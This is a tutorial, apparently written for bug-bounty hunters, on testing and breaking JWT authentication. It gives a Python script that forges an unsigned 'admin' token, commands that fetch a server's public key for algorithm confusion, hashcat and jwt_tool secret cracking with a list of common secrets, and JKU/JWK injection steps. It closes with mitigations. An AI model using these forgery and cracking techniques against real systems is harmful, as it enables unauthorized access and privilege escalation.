What is a JWT?
JSON Web Token (JWT) is an open standard (RFC 7519) for securely transmitting information between parties as a signed JSON object. It's widely used for authentication and authorization in modern web applications.
The structure of a JWT
A JWT consists of three parts separated by dots:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4iLCJyb2xlIjoiYWRtaW4ifQ.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Header
{
"alg": "HS256",
"typ": "JWT"
}
Defines the signing algorithm used (HS256, RS256, ES256, etc.).
Payload
{
"sub": "1234567890",
"name": "John",
"role": "user",
"iat": 1516239022,
"exp": 1516242622
}
Contains the claims — the data you want to transmit (user identity, roles, permissions, expiration).
Signature
HMACSHA256(
base64UrlEncode(header) + "." + base64UrlEncode(payload),
secret
)
Guarantees the integrity of the token. If someone modifies the header or the payload, the signature won't match.
Attack 1: The "none" algorithm
Some servers accept unsigned tokens if the alg field in the header is set to "none":
// Original header
{"alg": "HS256", "typ": "JWT"}
// Modified header
{"alg": "none", "typ": "JWT"}
How to exploit it
- Decode the JWT (it's just Base64)
- Change the algorithm to
"none"
- Modify the payload (for example, change
"role": "user" to "role": "admin")
- Remove the signature (leave only the trailing dot)
- Send the modified token
import base64
import json
# Header with alg: none
header = base64.urlsafe_b64encode(
json.dumps({"alg": "none", "typ": "JWT"}).encode()
).decode().rstrip("=")
# Modified payload
payload = base64.urlsafe_b64encode(
json.dumps({"sub": "1234", "role": "admin"}).encode()
).decode().rstrip("=")
# Unsigned token
token = f"{header}.{payload}."
print(token)
Variations
Try different casings of the algorithm: "none", "None", "NONE", "nOnE".
Attack 2: Key confusion (Key Confusion / Algorithm Confusion)
This attack exploits the difference between symmetric (HS256) and asymmetric (RS256) algorithms:
- RS256: Signs with a private key, verifies with a public key
- HS256: Signs and verifies with the same secret key
The trick
If the server uses RS256 and you can obtain the public key (which is often accessible), you can:
- Change the algorithm from RS256 to HS256
- Sign the token using the server's public key as the HMAC secret
- The server will try to verify with HS256 using the public key as the secret and accept the token
# Get the server's public key
curl -s https://target.com/.well-known/jwks.json | jq
# Or from the SSL certificate
openssl s_client -connect target.com:443 | openssl x509 -pubkey -noout
Attack 3: Weak secrets
If the server uses HS256 with a weak secret, you can brute-force it:
# Using hashcat
hashcat -a 0 -m 16500 jwt.txt /path/to/wordlist.txt
# Using jwt_tool
python3 jwt_tool.py <JWT> -C -d /path/to/wordlist.txt
Common secrets you can try
secret
password
123456
your-256-bit-secret
change_this_secret
default
Attack 4: JKU/JWK injection
JKU (JWK Set URL)
The JWT header can contain a jku field pointing to a URL where the public key used to verify the signature is hosted:
{
"alg": "RS256",
"typ": "JWT",
"jku": "https://target.com/.well-known/jwks.json"
}
The attack
- Generate your own RSA key pair
- Host your public key on a server you control
- Modify the
jku to point to your server
- Sign the token with your private key
- The server will download your public key and verify the token as valid
# Generate a key pair
openssl genrsa -out private.pem 2048
openssl rsa -in private.pem -pubout -out public.pem
# Create a JWKS with your public key and host it
python3 -m http.server 8080 # Serve the jwks.json file
Embedded JWK
Similar to the JKU attack, but in this case the header directly includes the public key inside the token:
{
"alg": "RS256",
"typ": "JWT",
"jwk": {
"kty": "RSA",
"n": "your_public_key_here...",
"e": "AQAB"
}
}
How to test JWTs in practice
1. Identify the use of JWTs
# Look for tokens in Authorization headers
Authorization: Bearer eyJhbGci...
# Look for tokens in cookies
Cookie: session=eyJhbGci...
# Look for tokens in URL parameters
?token=eyJhbGci...
2. Decode and analyze
# Use jwt.io to decode visually
# Or from the command line:
echo "eyJhbGci..." | cut -d. -f2 | base64 -d 2>/dev/null | jq
3. Use jwt_tool to automate testing
# Installation
git clone https://github.com/ticarpi/jwt_tool
pip3 install -r requirements.txt
# Full scan mode
python3 jwt_tool.py <JWT> -M at # All Tests
python3 jwt_tool.py <JWT> -M pb # Playbook mode
Recommended tools
- jwt.io: Visual JWT debugger
- jwt_tool: A full JWT attack suite
- Burp Suite + JSON Web Tokens extension: JWT manipulation inside Burp
- hashcat: JWT secret cracking
- jq: JSON parsing in the terminal
Mitigations you'll come across
When testing, keep in mind that well-configured servers:
- Reject the
none algorithm
- Validate the expected algorithm server-side (they don't trust the header)
- Use long, random secrets for HS256
- Don't follow external
jku URLs without validating against a whitelist
- Validate
exp, iss, aud and other claims
Conclusion
JWT attacks are one of the most technically interesting categories in bug bounty. Although modern implementations are usually well protected, it's still surprisingly common to find servers that accept the none algorithm, use weak secrets or don't correctly validate the jku field. Every time you see a JWT in an application, take the time to test these attack vectors.